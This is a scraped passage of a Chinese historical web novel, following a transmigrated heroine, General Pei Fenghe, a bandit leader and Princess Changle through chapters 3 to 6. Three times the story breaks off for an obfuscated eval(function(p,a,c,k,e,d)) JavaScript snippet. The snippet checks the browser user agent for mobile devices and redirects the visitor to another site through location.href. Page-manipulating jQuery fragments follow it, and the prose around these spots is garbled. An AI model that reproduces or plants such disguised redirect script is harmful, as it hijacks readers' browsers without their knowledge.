竹徵勉力睁开眼,只能看见微弱的身影。似有人到她面前站定,用并不大的声音说,“参军,这样不好吧。” 她莫名想起了往事。 在她扮演唐语蓁的那年。 唐语蓁身体不太好,所以没习过武。但是她初来这个世界,还是感觉要会点防身术。 爹娘管的严,不允她出门,她怕性格大变遭疑,也不敢偷跑出门。 那天肖家大公子肖唯安正好到唐府上拜会她爹。她跟肖唯安属于话不投机半句多,互相不对付。 但是肖唯安又是裴风鹤的好友,免不得见面,但是他俩仍然一见面就掐。 她想学一些防身之术,要让裴风鹤知道肯定又要拿她的身体来搪塞她,肖唯安倒是一个好选择。 所以她在前院碰见肖唯安的时候,就很热情地问:“肖公子,这是要去干嘛呀?” 肖唯安明显震惊于她的态度,“你吃错药了吧?” 竹徵没在乎他的态度,反而上前去拉扯他,“哎呀,肖公子,我这不是仰慕你吗。” 肖唯安立马抽手,估计是看她这样子也没什么好事,马上回头。 竹徵看他要走着急了,“诶!” “唉,没什么事,就是那个……你能不能教我一点点防身术啊。”她说着还比了一个“一点点”。 肖唯安马上把她手打掉,“你疯了?要让裴风鹤知道,我就玩完了。” 竹徵就知道他会这么说,故作潇洒地忍痛道,“那……你要是教,我把上回那个红楼的故事后面那段讲给你。” 肖唯安这么个风流公子,当然抵挡不住这个诱惑,“真的吗?”上次他听一半还抓耳挠腮,其他姑娘问他后文,他都只能推说下回讲。 竹徵努力睁大她的眼睛,看起来单纯无害,“真的,我保证。” 肖唯安想着在唐府里,应该也碰不上裴风鹤,也点了点头。 竹徵为了这次练习,特意把她身边的人都遣走了,只说要和肖公子谈论诗书。念着在府里,下人也并不过多关心,自行散了。 后院里有一大片空地,海棠树在风中摇曳,此时正是花落的季节。 他们就选在在这片院子里上课。因着她只备了一把木剑,肖唯安就用了自己的佩剑。 肖唯安起先演示的时候能看出来,他剑风凌厉,下手迅速。 轮到她,舞起剑就是软软绵绵的,她感觉自己连剑都抡不起来。 肖唯安无语,只说她这样,没什么学的必要,准备转身就走。 也太没耐心了!竹徵着急了,还在舞剑,却只想着追上他。快走几步,就被自己绊倒了,手中的木剑脱手,向肖唯安飞去。 她心想,完了,这具身体实在是久卧病榻,基本的协调都难做到。 肖唯安感知到有危险,下意识就将长剑脱手向后抵挡,下一秒才想起来唐语蓁只是一个手无缚鸡之力的小姐,又急忙去捞。 只是他削铁如泥的佩剑怎么会像竹徵刚刚脱手的笨重木剑一样。 那把剑打歪了木剑,正正向竹徵飞来。 竹徵适才摔倒,根本没时间反应,只能紧闭眼睛。 风起,吹落了一地的海棠花。 她睁眼抬头,高大的身影挡住了她,只听得见血滴在海棠花上的声音。 海棠花落,泪与血俱下。 二十三岁的影像与十七岁重合,那年在海棠花下替她拈住剑尖的少年,今日也一样挡在她身前,替她握住了马鞭。 4. 第四章 土匪 竹徵揉了揉眼睛,好不容易才看清楚眼前的人。 她已不再是唐语蓁,眼前的人,也不再是年少时的翩翩公子。 裴风鹤挡在竹徵面前,替她拦下了这一鞭。 “参军,她是此案的重要证人,鞭下留人。” 不知道是生气还是害怕,参军的声音明显颤抖了起来,“裴将军,怎么办起案来了?” 竹徵看不见裴风鹤的脸,只听见他说:“皇上口谕,丹山土匪一案交由我一手包办,参军要不去问问皇上?” “裴将军是不是搞错了?这是我义子的夫人,她偷了我的东西,我正审问呢,怎么会跟土匪有关系呢?”参军不疾不徐,看来是不肯放过她。 “将军,我有重要物证,愿将军能随我去小院,自当奉上。”竹徵缓缓从地上爬起,撑着站起来。 裴风鹤没回头,却已经将手伸到她面前。 竹徵已无法强撑,思考良久,终究还是将手轻轻搭在他身上。 “参军听见了吧?莫不是我要人要经过你一个庆州参军的同意?” 参军应是气的牙痒痒,想来也是,无论如何裴风鹤位置都在他之上,何况他搬出了皇上。 裴风鹤拿佩剑替她将绳子断了,竹徵活动了一下手,刺痛终是不免。 竹徵撑着裴风鹤的手,勉强向外走去。 裴风鹤再一次将自己的披风借给她,不过只是递过来。 竹徵看了看自己衣服的破损程度,还是接下了。 他仍秉持着他的“礼”,所以只将手借给她扶着,竹徵的手摸着他的衣袖,摩挲着她曾经亲自画下的花纹,突然有些怅然。 那年海棠花开,挡在她面前的少年,终于还是长大了。 裴风鹤的声音正好响起,打乱了她的思维,“张巡给你的东西在哪?” 她转过头,果然啊,他的眼里只有漠然。 无论他的动作多么体贴,此时在他眼里,她也只是一个不需要过多关注的陌生人罢了。 她正了正色,不再纠结,“我也不确定是不是,但是我身上能让参军觊觎的,只有一个。” ———— 小院。 胡娘子本就在小院着急地等待他们,此时见到他们来了,终于放心了一般。 竹徵马上上前安抚胡娘子,手上还牵着那条小黄狗。 裴风鹤跟在身后,没有打扰她们好不容易的相聚时刻。 胡娘子好不容易确认竹徵的安全后,裴风鹤才有时间问他们的正事。 竹徵跟胡娘子耳语了几句,胡娘子去房间内拿了一个东西出来。 胡娘子将盒子打开,竹徵伸手将里面的东西拿出。 是之前一直戴在曲如桢脚上的华丽镣铐。 竹徵望着这东西,“只有这个了,如果张巡想在我身上藏什么东西,一定在这里面。” 说着便拿起那个脚铐在手里把玩,“昨日我就想,如果张巡真的犯了事,我肯定会受牵连,那么张巡给我的所有东西就成了证据。” 她重重抚上那些雕纹,似是要抚平那些心里的伤一样,“而且,以张巡的自傲,不会相信我自毁镣铐。” “在他心里,我永远是他的金丝雀。” 竹徵说着把脚铐递给裴风鹤,“不管将军查到了什么,我只要报仇。” 竹徵抬头,撞上裴风鹤的目光。 那眼神里没有她厌恶的怜悯。 朝阳悄然爬上来,天被染成了一片粉红。 裴风鹤看着她,立于朝阳之下,像一个初升的太阳。 裴风鹤没有接过那个脚铐。 他再需要这个案子为他在皇上为封爵面前加码,也做不到用一个女子的伤痛来成全。 竹徵却执意塞在他手里。 他听见竹徵清亮的声音,“将军,我知道你在想什么。” “对我来说,这脚铐不是屈辱,而是武器。” “能借此机会一举打翻张巡,将我从前受过所有的苦从他那里收回来,对我来说,才是最大的补偿。” 裴风鹤闭上眼,这个女子跟他所认识的所有人都不一样,她没有为张巡的苛待屈服,也并不因为自己的痛苦经历自卑。 他终究还是收下了。 天亮没多久,云何就来给他报告。 “周荣呢?” 云何给裴风鹤行了个礼,解释道,“周荣现下已经将丹山镇围了。” 裴风鹤蹙眉,“围了?那些山匪呢?” “周荣去的太晚,他们都……都进农户家了。”云何低着头,像是不敢直视他。 “什么?怎么回事?”裴风鹤这下真的疑惑了,土匪进农户……只有两个可能,要么屠村,要么,他们就是丹山镇的村民! 明明将土匪揪出来就好,但是亲亲相隐,能不受罚谁会站出来? 而上报朝廷的话,朝廷很可能为了剿灭土匪而下令屠村。 云何立马单膝跪地,“那些土匪换成村户模样,实在是分辨不出来,周荣无法定夺,只好将丹山镇围了,等待将军命令。” 裴风鹤没有过多思考,让云何把曲如桢叫上,就往丹山镇去。 他们赶到丹山镇时,周荣已经带兵守在那里一个时辰了。 妖风阵阵,今天本是赶集的日子,镇上的农户却全紧闭着门,外头只剩零零碎碎的簸箕之类,不见半分人影,风吹过更显凄凉。 周荣全程低着头,让别人看不清他的表情和样子。 裴风鹤也不想在这个时候责怪他,只向着曲如桢说,“张巡平时的活动有什么奇怪的地方?” 竹徵刚去了张府把钱妈接出来,跟钱妈对视了一眼,一下子也想不出来。 钱妈只说他很喜欢打骂下人,就连妻子也不放过。 裴风鹤总感觉他忘记了什么关窍,吩咐周荣去抓两个农户出来。 云何提议,“要不然把所有的壮丁抓起来?土匪能窝藏在这村子里,就证明这里的人,都不无辜。” 裴风鹤摇摇头,“不行,整个村子的壮丁都抓走了,不是要把生计都掐断了吗?况且根据之前我路上遇到的情况,山匪最多五六十个,这丹山镇至少一两百户,肯定有被冤枉的。” 这时曲如桢将他拉到一旁,“将军,出了什么事?”曲如桢一直盯着他,让他有点不自在。 他思考了一下,还是没有直说。 曲如桢似是看出他的顾虑,坦率地说,“将军,您也知道我是张巡的夫人,跟张巡的仇也是不共戴天,不必如此防备我。” 裴风鹤思索了一下,将大致情况告诉她。 曲如桢也将头低下来,看来也是在思考对策。 周荣已经将农户拉过来。一男一女,看起来就是寻常夫妻。 男的一直战战兢兢,女的倒是不卑不亢。 周荣将剑架在他们脖子上,可哪怕是男的已经吓得倒在了地上,还是没有说出什么来。 裴风鹤摆摆手,让周荣带下去审。 竹徵站在他身边,一直没把头抬起来。 周荣押着两人下去时,正好从竹徵的身边擦过去。 竹徵侧过头,感受到了什么一般,在女子已经走到她前面一小段时,忽然伸手拍她的肩膀。 她甚至都没看清女子的动作,就感觉腰窝被什么东西捅了一下,下意识拿手去挡。 但是女子已经挟制住她的脖子,脚更是利落地踢向她的膝窝,让她扑通一声跪在地上。 她刚摔在地上,身体惯性贴近地面,而女子收紧掐在她脖子上的手,膝盖顶上她的背,迫使她以一个狼狈姿态正跪在地上。 竹徵刚反应过来,挣扎了一下,森凉的寒意就从颈间传来,惊得她一颤,不敢乱动。 只有裴风鹤反应最快,立马抽出佩剑指向女子。 奈何竹徵和女子的冲突发生在一瞬间,他快走几步上前依然没赶上,于是快速转变方向,将剑架在女子颈间。 凌厉的剑风划过女子的脸庞,连带着竹徵都觉得有些森然,那女子却仍旧稳稳地站在那,宛如一棵巨松。 周荣和一应士兵这才反应过来,马上拿着剑列队围住那女子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289434|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而女子旁边的男子早已受不住,被吓趴在地上,身体也止不住地颤抖,看起来像是吓软了腿。 周荣上前将剑抵在他脖子处,他大叫着:“救命啊!救命啊!我只是个普通人啊!” 刹那之间风云流转,此刻沉寂的大军也溢出几分杀气。 裴风鹤的眼神也变得有些凉薄,“放开她。” 女子眼神流露出不屑,“裴将军,这可不是求人的态度。” 说罢将刀往里逼了一下,竹徵的脖子上瞬间渗出血来。 竹徵闭上眼睛,快速地想解决办法。不能光指望裴风鹤,他现在毕竟是将军,说不定真弃车保帅,她的命要握在自己手里。 这时裴风鹤也开口了,“你的丈夫,你也不要了吗?” 周荣将那男人押到女子近前,那男子眼中尽是惧怕与求援。 女子只瞥了他一眼,就冷笑了一声,“伪装身份的权宜之计罢了,要是真威胁到了我,棋子而已,弃了又如何?” 裴风鹤继续问,“你想要什么?” “我要我天星寨五十八人全部安全退回山上。” 竹徵在这一刻感到了一丝绝望,女匪要求的,是让裴风鹤把山匪这件事直接揭过去。 可是他早就在狱中救她时就说过,皇上派他过来就是处理这件事的,怎么可能高高拿起轻轻放下? 裴风鹤刚要说什么,话音还未起,就被竹徵抢先,“夫人,是张巡要你们此时佯装攻打丹山镇吧?” 女子僵了一下,并未正面回答,只说,“你倒是好胆识。” 竹徵继续说,“那我再猜一下,张巡拿什么东西要挟你们出兵,吸引裴将军的军队好助他出逃。但是你们没想到,他其实说谎了。” 竹徵清了清嗓,定了定心神,继续说,“你们原来以为裴将军只带了一支小队,而且张巡承诺了,参军知道了一定不会袖手旁观。但是没想到,参军为了抓住我,不惜放弃你们。而裴将军早就已经备好了剿匪的后手。” “你们,只是他们争权夺利的棋子而已。” 女子像是被戳中了痛处,掐着她的手越发用力。 “夫人,我相信您也是巾帼英雄,女中豪杰,迫不得已才上山为匪。我相信裴将军也不愿意将你们全部剿灭。夫人手里握着所有丹山镇百姓的性命,而裴将军的大军也可以将你们山匪即刻绞杀。” “既然大家僵持不下,夫人何不听听裴将军的办法呢?” 竹徵话已经说到这,使劲地向裴风鹤使眼色。 裴风鹤接受到她的信号,可是仍旧在犹豫。 竹徵暗示到现在,意思很明显,就是要他亲口承诺招安。 但是皇上给他发的密信里其实不止是肃清土匪,主要是查清看似中立的庆州刺史到底是归属哪一方势力,而剿灭土匪只是此行对外宣称,便宜行事的。 皇上并不在乎剿匪的结果,但是要是将这一支女匪招安,放在他的队伍里,以皇上的敏感多疑,他这五年来的军功,恐怕都要打上一个是否衷心的问号。 路遇山匪将他们收编进自己的队伍,很可能被认为是为了收拢民心和扩大势力。 可是……要是将这支队伍带回京城,各方势力又有谁会要一支女匪?以皇上的性格,半路招安不可相信,干脆就全剿灭谁也捞不到好。 裴风鹤还在犹豫,女匪看着他磨磨蹭蹭,不像是要商议的样子,就冷哼一声,“看来裴将军也做不了这个主啊。那我不介意鱼死网破!” 抵在竹徵脖子上的刀又深了几寸,竹徵全身的汗毛都竖起来,如坠冰窟。女匪的手已经横下去,马上就要划开她的喉管。 “等一下!”娇嫩的声音从远处响起,全部人的动作都停滞了,向远处望去。 不知什么时候,大军已经让出来一条路。 向着那条路望去,一地的金黄的枫叶铺在地上,尽头是一个华丽的轿子。 金黄顶,翠玉珠。 一只纤细稚嫩的手缓缓拉开帘幕。 裴风鹤反应最迅速,立马拱手行礼,“参见公主。” 5. 第五章 公主 竹徵这才反应过来,金黄顶,翠玉珠是当今圣上特意赐给昌乐公主的轿子! 《茗妃传》这本小说完结的时候,太后有两个孩子。一是幼年即位的今上,二是与摄政王私通怀上的昌乐公主。今上登基之时,昌乐公主尚在腹中。 昌乐公主自幼在宫中长大,在这二十年中,作为太后和“真爱”摄政王的唯一子嗣,自然是从小宠着要风得风,要雨得雨。 而因为皇帝年幼即位,太后辅政时不愿给他留下可供留用的势力,所以皇帝成长过程中唯一的玩伴就是昌乐公主,自然也对她万般宠溺。 再者,虽然昌乐公主的身世不被外人所知,但是作为曾经的读者,竹徵心里还是很清楚的。昌乐公主是摄政王唯一的血脉,因此摄政王也在各种地方都对她多有照拂。 也就是说,在这大黎朝三足鼎立的状况下,昌乐公主就是唯一可以粘合这三方势力的人物。 况且,皇帝哥哥,太后母亲,摄政王父亲都毫无保留地爱着纯粹的她,也是这整个大黎无所匹敌的尊崇与宠爱。 但是就算如此,她也没有仅仅依仗皇室。 她十五岁及笄礼之后,就经常出现在外,无论是赈灾施粥,还是瘟疫补给,她都是代表皇室最快出现并有所作为的人。五年来很得民心,又因其喜爱白色,世人皆称其“白衣观音”。 竹徵正想着公主近些年来的事迹,就发现身边的将士已经都随裴风鹤向昌乐公主行了礼。 一位容貌姣好的女子从轿子里钻出来,她一身大红色的百褶罗衫裙,大朵盛开的芙蓉缀在裙边,外套一件金色的纱衣。头上斜插着一支金丝凤凰钗,华贵无双。公主的容貌完全撑的起这一套服饰,明眸皓齿,瑰姿艳逸。眉间一朵凤尾花,雍容大气。 这便是昌乐公主了,她今日未着白衣,竟是如此夺目的美! 她由侍从扶着,缓缓向这边走过来。 她走近裴风鹤,双手轻轻抬起他行礼的手,“免礼,将军和将士们是杀敌的英雄,是本宫该向你们道谢。” 钱妈行完礼在后面自言自语:“公主长得真漂亮啊。”声音不大,但是在寂静的军队里显得格外突出。 立在公主身侧的内侍凌厉的目光立刻扫过来,钱妈吓得立刻噤声。 公主说完便慢慢向女匪走过来,内侍想拦,公主只是手指轻轻一点,他便退回边上。 裴风鹤持剑立在公主侧边,听见她缓缓地说:“本宫知道裴将军和这位女侠在烦恼什么,本宫奉皇兄之命,前来迎接归京大军。自然也要为裴将军排忧解难。” 暂缓了一下,就用更大的声音说:“皇上口谕:丹山女匪骁勇善战,实乃女中豪杰,今特赦入京,册为永宁宫边卫。” “口谕”两个字一出,所有人都跪了下来,连女匪也自知此时已无力再挣扎,伏于地面。 而此时,所有人都被这些话震惊了,包括裴风鹤。 竹徵的脑子迅速转起来,永宁宫边卫! 永宁宫是昌乐公主的寝宫,永宁宫边卫就是将这支队伍送给了昌乐! 先王在世时,就是摄政王利用自己的边卫和一部分私兵完成了夺权。这些王室秘辛,别人不知道,她作为读者可是清楚得很。 边卫作为皇室子弟可以合理拥有的军队,一直以来都被皇帝严格把控,生怕出现跟前朝一样的情况。 现在居然为了昌乐公主,开了这个先例! 皇帝对于昌乐公主的宠爱,真是超越她的想象。 裴风鹤同时也在思考这个问题,很明显,这个口谕来得太及时了,不仅解决了他跟女匪共同的问题,还让昌乐公主获得了正经的军队。 但是他从昨天到现在,根本没有时间上报,是谁提前通知了皇上,还让公主亲自来做这件事? ———— 安顿了公主之后,裴风鹤去找了女匪。 不对,已经不能称为女匪。 应该说是永宁宫边卫首领宁长安。 宁长安现在也带着自己的队伍休整在他的大军旁,看到他来,宁长安并不意外。 “裴将军有话想问我?” 裴风鹤点点头,看见宁长安房里的男人,倒是惊了一下。 这就是刚刚他拿来威胁宁长安的“丈夫”。 宁长安似是看见他的疑惑,解释道,“到底是丈夫,带在身边安心些。” 裴风鹤本意也不在此,点点头表示知晓,随即开口道:“张巡……” 宁长安在他说下去之前就接过话头,“我不知道张巡在哪,不过我可以告诉你,那位姑娘猜的不错,张巡确实来找我,要我佯攻丹山镇。” “在我上山立寨之前,曾经欠过张巡父亲一个人情,当时我将身上佩剑赠予,许他一个心愿。” “本来我以为张巡是不知道这件事的,可是他不知从哪翻出来这把配剑,加上他承诺我一定会保住我天星寨,我就答应了。” “裴将军,我知道你的问题很多,但是你也知道,我如今归昌乐公主管辖,多的我也不必告诉你。” 说完便转身,作出送客的姿势。 现在宁长安身份确实不一样了,裴风鹤只能把疑问按下来,暂时离开。 裴风鹤往外走的时候,仍然觉得疑点太多了,刚刚宁长安的眼神,是带了几分愠怒的,他自觉除了两人先前的对峙没有得罪过她,究竟是有什么他不知道的事呢? 除此之外宁长安看起来最多三十岁,张巡父亲在世时她也就十几岁,真的能施恩于他吗? 况且宁长安的话里字字都透出对张巡的熟悉,一个土匪一个县丞,明明毫无关系甚至是相互对立的人真的会这么熟捻吗? 疑点太多,整件事扑朔迷离。 裴风鹤决定再去找一次曲如桢。 小院内。 竹徵好不容易有时间休息了,就开始试穿昌乐公主赏赐下来的衣衫。 按昌乐公主的说法,这些衣服她早就叫制衣司做好了,但是出来这么久,还是喜欢民间时兴的款式,这些样式穿腻了,索性就赏下来。 竹徵毕竟还算是少女,但除了成为唐语蓁那段时间,几乎没有再穿过一件漂亮衣服,曲如桢的容貌靓丽,穿上一定很美。 只是这公主的衣服毕竟繁杂,叫胡娘子帮她穿了半天才整理好。 裴风鹤在外敲了半天门都无人应答,终究还是怕出什么意外,就推门进来了。 他推门后甫一抬头,就见女子的裙摆自屏风之后扬起,水红色为底,上缀了无数只欲飞的蝴蝶。裙边镶着璀璨夺目的珍珠,裙摆跳跃之下像是女子踏着花丛蹁跹而来。 裴风鹤的目光往上移,今日曲如桢没有再梳妇人头,而是五年前时兴的垂云髻,头发上别着蝴蝶样式的小配件,那支鸢尾花簪仍很受宠地插在发髻上,流苏随着她的动作摇摆,俏皮可爱。其他的头发她另编了两股发辫,垂在脸颊旁,她蹦跳着出来时也随着乱飞。 她今日的妆容也配合着,未点大红的口脂,更显得娇嫩了几分。眼尾似是自己描了一朵红色海棠,开在她脸上并不显得喧宾夺主。 裴风鹤愣在了原地,曲如桢这些天一直是以低调的农妇形象现身,这是他遇见她以来,她第一次细心装扮。 周遭声音全部消失,他只听得见她说:“胡娘子快来!”和自己的心弦悄悄被拨动的清脆之音。 终究太像她了,在唐语蓁没有生病忘却前尘之前,就很喜欢梳着垂云髻,蹦蹦跳跳地出现,那时的她,也如同眼前人一样,明媚又美丽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289435|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐语蓁在大病之后完全变成了规规矩矩的闺阁女子,虽然没什么问题,但是总让他觉得,那不是他认识的她。 这一幕太久没有出现过,这个身影出现的时候他恍惚之间心跳漏了一拍,触动之间无法平息心情。 竹徵刚提着裙子开心出了厢房,还在回头叫胡娘子跟上,看到胡娘子望着她身后僵住,还未转过头,就已经和来人撞了个满怀。 竹徵一个没站稳,往下跌去,那人稳稳地捞住她,却只是将她扶住,并不逾矩。 一股檀香钻进她的鼻子,她下意识一吸,分辨出里面的一丝清新的桂花香。 她几乎马上认出了对方是谁,整了整衣服立马站好。 之前做唐语蓁的时候她就很喜欢桂花香,缠着奶妈给她做了干花,送给裴风鹤的檀香里加了干桂花,那时她还沾沾自喜,后来才知道他从不熏香。 但是自那以后,每每靠近他,都能闻到那熟悉的檀香,和她亲手加进去的丝丝桂花香味。 那时肖唯安还嘲笑他,说大男人熏香便罢了,还加桂花,更显得特立独行。 她听了那话更加害臊,后来还向他要那盒檀香,不过总是被他揭过,后来也忘了这桩事。 但是这檀香加桂花这么奇怪的品味,除了裴风鹤也想不出第二个人了。 裴风鹤刚刚愣了会神,调整自己的心绪,也没看清她已往自己这边来,待到反应过来她已经要摔了,只好将她扶住。 胡娘子望着这场面,本来要出口的提醒也咽下去,反而捂着嘴看着他们笑起来。 竹徵自觉尴尬,也不敢抬头,悻悻地瞪了一眼胡娘子。 随即赌气一般狠狠甩头,裴风鹤比她高半个头,她转头时飞起的辫子正好甩到他脸上。 竹徵转过来也不看他,暗笑着行礼:“将军好。” 裴风鹤没来得及后退,就被曲如桢的头发扫到了面颊。她力道不大,他并没有觉得疼。 但是她甩头之间,兰花味的头油香已钻入他鼻腔,柔软的发丝抚上他的脸,跳跃着,似是在他心上浅浅挠了一下,心里一紧。 他有些慌张了,后撤几步回到安全地带。 强定心神时,随口说了一句,“没回头,你怎么知道是我?” 竹徵这下真有点慌了,满脑子都是刚刚的檀香,支支吾吾起来,“额……那个……只有将军会来这,对!除了将军,这院子里也没来过别人。” 这回答不算好,但总算勉强过得去。 裴风鹤说这话本也是为了转移注意力,不作深究,继续问道:“没抓到张巡,你打算怎么办?” 竹徵听见这话知道是正事,张巡应该是拿山匪这事转移注意力,自己麻溜地跑了。 她早就考虑过这个问题,张巡一定牵扯了她不能知道的问题,可是她也做不到替别人把这口气咽下去,这个仇无论如何都得报! 其实在这个问题上,她和裴风鹤的目标是一致的。 但她私心里并不愿意跟他一起查这件事,说多错多,还是少相处为妙。 于是郑重地行礼,开口道,“请将军派人跟我一起去阳泉城。” 庆州下最繁华的城市就是阳泉县了,而恰巧阳泉离丹山镇很近。 竹徵判断,张巡应该知道参军也饶不了他,不会选择每口每户都有定数的乡镇,反倒是会选择鱼龙混杂的城市。 裴风鹤沉默了一会,空气在此刻仿佛都停滞了,竹徵几乎要忍不住追问,裴风鹤才终于开口。 “不行。” 竹徵的心凉了半截,看来他是不信任自己,怕她会泄露机密吧。 “我跟你一起去。” 刚准备继续劝说裴风鹤的竹徵忽地愣住,不敢相信这件事居然是这样的发展。 6. 第六章 熟悉 裴风鹤看着她,继续说:“这件事是我来丹山镇的主要目的,别人来我不放心。” 竹徵有些慌乱地低下头,“那……什么时候出发?” “你先往阳泉县走,到了之后等我一起,不要轻举妄动。我安排好这边快马加鞭赶上。” 竹徵点点头,这确实是暂时最好的方案。 刚准备送客,裴风鹤递给她一个东西。 那是一个鸟哨,通体青蓝,神态传神,很是可爱。 “有事找我的话吹响这个,我的信鸽会闻声而来。”说完也不等竹徵说什么,就马上转身离开。 竹徵望着他的背影,有些捉摸不透他。 胡娘子在他们谈话时就一直退避在屏风后,看到裴将军离开才钻出来,她捂着嘴调笑道:“将军害羞了。” 竹徵听她说这话,反而不相信,“怎么可能?他现在看起来明明是个老古板。” 胡娘子敏锐地抓住她的小尾巴,“现在?你以前认识裴将军?” 竹徵心里暗骂自己又说错话,赶紧解释,“裴将军毕竟有名望在前,世人皆道裴将军骁勇善战,为人中正果敢。害羞这种事出现他身上太奇怪了。” ———— 曲如桢扮成贵妇,胡娘子扮为女侍往阳泉县去了之后,裴风鹤才开始着手处理丹山镇的事。 有宁长安和他的大军,公主的安危多半不用担忧。 主要是大军必须先驻扎城外,等他回来一起进京。 为了让庆州参军信服他已离开,放松警惕,大军不能留下,他必须找个人替代他。 云何做事稳重,周荣行事机灵,派云何带兵回京应该是最好的选择。 忽然,周荣来禀,公主想见他。 他跟随内侍的指引,进入了公主的营帐。 昌乐公主正端坐在茶几旁,营帐内充斥着一丝细密的茶香,香气如兰。 “将军请,这是我从宫中带过来的蒙顶茶。”公主轻轻摆了摆手,内侍就从善如流地退下。 裴风鹤点头,在她对面坐下。 昌乐公主随便拿出来待客的都是御贡之物,蒙顶茶他也就前些年在裴府喝过一两次。茶杯也是钧窑一年上贡一批的釉色,在这营帐里映照出异样的光彩,夺目又灿烂。 茶汤仍在杯中悠悠流转,热气氤氲。 公主过了好一会才缓缓开口,“裴将军,要去抓人吧?” 裴风鹤僵了一瞬,随即恢复正常,将茶杯放下,“圣上另有事交待,我会吩咐副将,将公主安全送回京城。” 公主轻笑一声,“将军误会了,我的意思是,我跟将军一起去抓人。” 裴风鹤完全没有反应过来,但是刹那之间公主手上的茶杯就已经飞出,他下意识往旁边避让,只听得见清脆的响声。 他转头看背后的屏风,紫檀木雕花的屏风没有倒,而是被茶杯砸出了一个凹陷,还有一些碎片嵌在上头。栩栩如生的凤凰此刻却被毁了翅膀,乍一看激昂的情态此刻却含了些悲戚。 他震惊之下回头,公主脸色如常,只是摆了摆头,似是不满意自己的杰作,淡淡地道:“抱歉,手滑了。” 公主自几台之上拿了一个新茶杯,重新给自己沏了一杯。 裴风鹤将茶杯搁下,面上不显,但是内心已翻腾倒海。 昌乐公主宋静檀,居然会武功! 宋静檀作为一个兼得民心和圣心的公主,到此刻已经完美得有些恐怖了。 “皇兄的密信很快到,我相信裴将军知道我是什么意思,尽快出发。”说罢公主招了招手,退避在外的内侍就进来将残片收拾干净了。 “茶杯已不成套,就送给裴将军了。”公主的话利落干脆,一如她果断转身不容置喙的背影。 裴风鹤回到自己的营帐内,看着手里捏住的精致茶杯出神。 公主的态度已经很明显了,要是他不答应,就会像那个茶杯一样,珍贵但是也随手可弃。 皇上为了试探他也下了血本,居然这么轻易将昌乐公主这张牌亮出来,就为了让昌乐在一旁监视他。 看来这一场是生死战了,这件事没办好,回京之后皇上就可以直接利用宁长安诬陷他私自招安。 难怪他一直觉得奇怪,他没有来得及写密信做抉择,公主就忽然秘密离京出现在丹山镇,带来的不是圣旨而是口谕,每一步都没有给他留下能证明招安是圣谕的证据,每一步又恰到好处得过分,让他能顺利地进行下一步。 而唯一的人证宁长安一支女匪现在得了永宁宫边卫的位置,也不可能站在他这边。 他回了京之后,只有百口莫辩四个字。 这一手帝王心术玩的太好,而他并未察觉,皇上存心算计,但凡提前在丹山镇布置一下,这一局他就只能往下跳。 哪怕他做成了这件事,只要皇上在回京之后佯装不识轻轻揭过招安一事,日后他要背叛,随时可以将这件事翻出来再治他的罪。 他闭上眼睛,边疆五年,他已经对这种权术心计陌生了。 终究棋差一招,怪不得别人。 ———— 竹徵扮演曲如桢到现在,可以说是第一次“享受”。 为了完美地扮演好一个贵妇,她在裴风鹤那里薅了不少银子,再加上昌乐公主赏赐下来的东西,现在完完全全就被打扮成了一个娇气的贵夫人。 今日起风了,马车的帘幕被吹起,那支紫鸢流苏簪依旧被宠幸地插在头上最显眼的地方,坠下来的翡翠流苏也被风吹得微微拂动。 她今日穿的是京城里最受贵妇喜爱追捧的碧霞云锦裙,她身形窈窕,桃夭色轻轻渗入白色云锦,乍一看她真的将晚霞穿在身上。 她朝外看,外面小商贩的叫卖声穿透了马车,新出锅的包子香味也丝丝缕缕浸入马车。 裴风鹤大军里都是些粗茶淡饭,竹徵已经很久没有尝过这种油渍渍,热腾腾的普通食物了。 烟火气钻入她的鼻腔里,她犹豫了好一会,还是轻轻掀开车帘,轻俯身对随着马车走的胡娘子说了句话,胡娘子捂嘴笑了好一会,才走到一旁的小摊上。 忽然有人开始跑动起来,像是在躲避什么。 不知道谁喊了一句:“金虹帮菩萨眼来了!” 熙攘热闹的人群顿时慌了起来,小贩们都来不及收钱,胡乱将东西一包就脚下生风溜了,一些吃食都滚落在地也来不及捡拾。 许多人都在慌乱中撞到了一起,不过竟然没有人计较,只须臾街上就已只有寥寥几人,人声鼎沸的街市忽而鸦雀无声。 胡娘子刚刚就被这些流窜的小贩和行人撞到,脸上还留存着方才的错愕,环视一圈回头看着同样惊讶的曲如桢。 刚刚小贩掉落的包子此时正好滚到胡娘子脚边,沾染了尘土的包子已经没有刚刚吸引人的魅力,反而孤零零地落在那里。 胡娘子内心涌出一股不妙的预感,快走几步。 远处传来杂乱的脚步声,听起来至少有十几人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289436|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 